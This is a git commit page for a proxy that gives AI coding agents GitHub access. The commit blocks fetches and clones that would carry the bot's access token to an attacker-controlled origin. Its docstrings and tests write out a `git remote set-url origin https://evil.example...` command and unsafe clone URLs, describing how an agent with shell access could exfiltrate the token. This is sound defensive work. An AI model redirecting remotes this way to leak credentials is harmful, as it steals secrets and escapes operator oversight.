smashimo/oh-my-pi
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix(robomp): refused token-bearing git ops to attacker-controlled origins

Browse Source 
- Extracted `_pat_safe_remote` and rejected HTTP(S) origins with embedded credentials or mismatched host/repo.
- Guarded `clone` via `_assert_clone_url_safe` on the caller-supplied `clone_url` (pool has no `origin` yet).
- Asserted origin safety before `fetch`, `fetch_ref`, and `fetch_pr_head` inject the PAT header.
- Appended POSIX `--` separator in `omp_local` so prompts starting with `-` aren't parsed as flags.
- Added proxy tests covering attacker-origin fetch rejection and unsafe `clone_url` refusal.

Co-authored-by: can1357 <me@can.ac>
This commit is contained in:
runbgp
2026-06-23 19:57:15 +02:00
committed by can1357
parent af2e53e070
commit bc41b2ed3e
3 changed files with 116 additions and 16 deletions
Download Patch File Download Diff File Expand all files Collapse all files
packages/terminal-bench/agent/omp_local.py
+4
View File
@@ -466,6 +466,10 @@ class OmpLocal(BaseInstalledAgent):
parts.append(f"--thinking {shlex.quote(self._thinking)}")
if self._extra_args:
parts.append(self._extra_args)
# POSIX positional separator: some task prompts start with "-" (e.g. a
# markdown bullet, as in pytorch-model-recovery). Without this, omp parses
# the prompt as an unknown flag and exits 2. `--` forces positional mode.
parts.append("--")
parts.append(shlex.quote(instruction))
# No pipes/stdbuf (absent in minimal images): redirect raw JSONL to the
# mounted agent log dir; populate_context_post_run parses it on the host.
python/robomp/src/proxy/server.py
+49 -16
View File
@@ -207,41 +207,68 @@ def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str:
return proc.stdout.strip()
def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None:
"""Refuse the push if the worktree's `origin` would leak the PAT.
def _pat_safe_remote(url: str, expected_repo: str) -> bool:
"""Whether git may carry the bot PAT to `url` for `expected_repo`.
The PAT is injected via `--config-env http.extraHeader=…` (see
`git_ops._run_git`); git ONLY forwards that header on HTTP(S) requests.
So:
• If `origin` is HTTPS/HTTP, it MUST resolve to
`github.com/<expected_repo>` exactly — anything else and we'd be
• An HTTP(S) remote MUST resolve to `github.com/<expected_repo>`
exactly, with no embedded credentials — anything else and we'd be
handing the bot's token to an attacker-controlled host.
• Other schemes (ssh, file, git://, …) can't carry the PAT header,
so we let them through; the legitimate test path uses local file
remotes.
Without this guard, an agent with shell access in the workspace could
`git remote set-url origin https://evil.example/x.git` and the proxy
would happily push (with the PAT) to that remote.
so they're safe by construction; the legitimate test path uses
local file remotes.
"""
url = _read_origin_url(repo_dir, slot_uid=slot_uid)
parsed = urlparse(url)
scheme = (parsed.scheme or "").lower()
if scheme not in ("http", "https"):
return # PAT header is never sent over non-http(s); safe by construction
return True
if parsed.username or parsed.password:
return False
host = (parsed.hostname or "").lower()
# Strip optional leading slash, trailing slash, and `.git` suffix.
path = parsed.path.strip("/")
if path.endswith(".git"):
path = path[:-4]
if host != "github.com" or path.lower() != expected_repo.lower():
return host == "github.com" and path.lower() == expected_repo.lower()
def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None:
"""Refuse a token-bearing git op if the repo's `origin` would leak the PAT.
Without this guard, an agent with shell access in the workspace (or with
group write to the shared pool clone) could
`git remote set-url origin https://evil.example/x.git` and the proxy
would happily fetch/push (with the PAT) to that remote.
"""
url = _read_origin_url(repo_dir, slot_uid=slot_uid)
if not _pat_safe_remote(url, expected_repo):
log.warning(
"gh-proxy: refusing push — origin does not match repo",
extra={"expected_repo": expected_repo, "origin_host": host},
"gh-proxy: refusing git op — origin does not match repo",
extra={"expected_repo": expected_repo},
)
raise HTTPException(
400,
f"origin url does not match repo {expected_repo!r}; refusing to push",
f"origin url does not match repo {expected_repo!r}; refusing token-bearing git op",
)
def _assert_clone_url_safe(clone_url: str, expected_repo: str) -> None:
"""Refuse a clone whose caller-supplied `clone_url` would leak the PAT.
The pool has no `origin` yet, so there is nothing on disk to validate —
guard the request body directly with the same policy as
`_assert_origin_safe_for_repo`.
"""
if not _pat_safe_remote(clone_url, expected_repo):
log.warning(
"gh-proxy: refusing clone — clone_url does not match repo",
extra={"expected_repo": expected_repo},
)
raise HTTPException(
400,
f"clone_url does not match repo {expected_repo!r}; refusing to clone",
)
@@ -610,6 +637,7 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo = _require_str(data.get("repo"), "repo")
clone_url = _require_str(data.get("clone_url"), "clone_url")
default_branch = _require_str(data.get("default_branch"), "default_branch")
_assert_clone_url_safe(clone_url, repo)
target = _pool_dir(settings, repo)
try:
await _run_git_op(
@@ -628,6 +656,9 @@ def create_proxy_app(settings: Settings) -> FastAPI:
data = await _json_body(request)
repo = _require_str(data.get("repo"), "repo")
target = _pool_dir(settings, repo)
# Block attacker-controlled `origin` from being a PAT exfil channel
# before any subprocess injects the token header.
await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo)
try:
await _run_git_op(git_fetch_prune, target, token=_resolve_token(settings))
except GitCommandError as exc:
@@ -640,6 +671,7 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo = _require_str(data.get("repo"), "repo")
ref = _require_str(data.get("ref"), "ref")
target = _pool_dir(settings, repo)
await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo)
# fetch_ref is intentionally best-effort; never surfaces a 5xx.
await _run_git_op(git_fetch_ref, target, ref, token=_resolve_token(settings))
return JSONResponse({"pool_dir": str(target)})
@@ -650,6 +682,7 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo = _require_str(data.get("repo"), "repo")
pr_number = _require_int(data.get("pr_number"), "pr_number")
target = _pool_dir(settings, repo)
await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo)
try:
await _run_git_op(git_fetch_pr_head, target, pr_number, token=_resolve_token(settings))
except GitCommandError as exc:
python/robomp/tests/test_proxy_server.py
+63
View File
@@ -103,6 +103,14 @@ def _stage_workspace(cfg: Settings, upstream: Path, repo: str, number: int, bran
return repo_dir, proc.stdout.strip()
def _stage_pool(cfg: Settings, upstream: Path, repo: str = "octo/widget") -> Path:
"""Pre-stage the shared pool clone that the fetch endpoints operate on."""
pool_dir = Path(cfg.workspace_root) / "_pool" / repo.replace("/", "__")
pool_dir.parent.mkdir(parents=True, exist_ok=True)
_git(["clone", "--filter=blob:none", str(upstream), str(pool_dir)], Path(cfg.workspace_root))
return pool_dir
def _bare_has_branch(bare: Path, branch: str) -> bool:
proc = subprocess.run(
["git", "-C", str(bare), "branch", "--list", branch],
@@ -1012,3 +1020,58 @@ async def test_git_push_rejects_origin_with_wrong_repo(proxy_settings: Settings,
)
assert resp.status_code == 400, resp.text
assert not _bare_has_branch(upstream_repo, branch)
# ============================================================================
# Finding 6 — fetch + clone refuse attacker-controlled origin (PAT exfil guard)
# ============================================================================
@pytest.mark.parametrize(
("endpoint", "body"),
[
("/gh/v1/git/fetch", b'{"repo":"octo/widget"}'),
("/gh/v1/git/fetch_ref", b'{"repo":"octo/widget","ref":"refs/heads/main"}'),
("/gh/v1/git/fetch_pr_head", b'{"repo":"octo/widget","pr_number":1}'),
],
)
async def test_git_fetch_endpoints_reject_attacker_origin(
proxy_settings: Settings, upstream_repo: Path, endpoint: str, body: bytes
) -> None:
"""An agent with group write to the shared pool can rewrite its `origin`;
every token-bearing fetch MUST refuse with 400 before git carries the PAT
to that host."""
pool_dir = _stage_pool(proxy_settings, upstream_repo)
_git(["-C", str(pool_dir), "remote", "set-url", "origin", "https://evil.example.com/octo/widget.git"], pool_dir)
app = _build_app(proxy_settings)
async with await _async_client(app) as client:
resp = await client.post(
endpoint,
content=body,
headers={**_signed("POST", endpoint, body), "Content-Type": "application/json"},
)
assert resp.status_code == 400, resp.text
@pytest.mark.parametrize(
"clone_url",
[
"https://evil.example.com/octo/widget.git", # wrong host
"https://github.com/attacker/other.git", # wrong repo
"https://user:pass@github.com/octo/widget.git", # embedded credentials
],
)
async def test_git_clone_rejects_unsafe_url(proxy_settings: Settings, clone_url: str) -> None:
"""`clone_url` is caller-supplied; an HTTP(S) URL that doesn't resolve to
github.com/<repo> MUST be refused before git carries the PAT to it."""
app = _build_app(proxy_settings)
body = b'{"repo":"octo/widget","clone_url":"' + clone_url.encode() + b'","default_branch":"main"}'
async with await _async_client(app) as client:
resp = await client.post(
"/gh/v1/git/clone",
content=body,
headers={**_signed("POST", "/gh/v1/git/clone", body), "Content-Type": "application/json"},
)
assert resp.status_code == 400, resp.text
assert not (Path(proxy_settings.workspace_root) / "_pool" / "octo__widget").exists()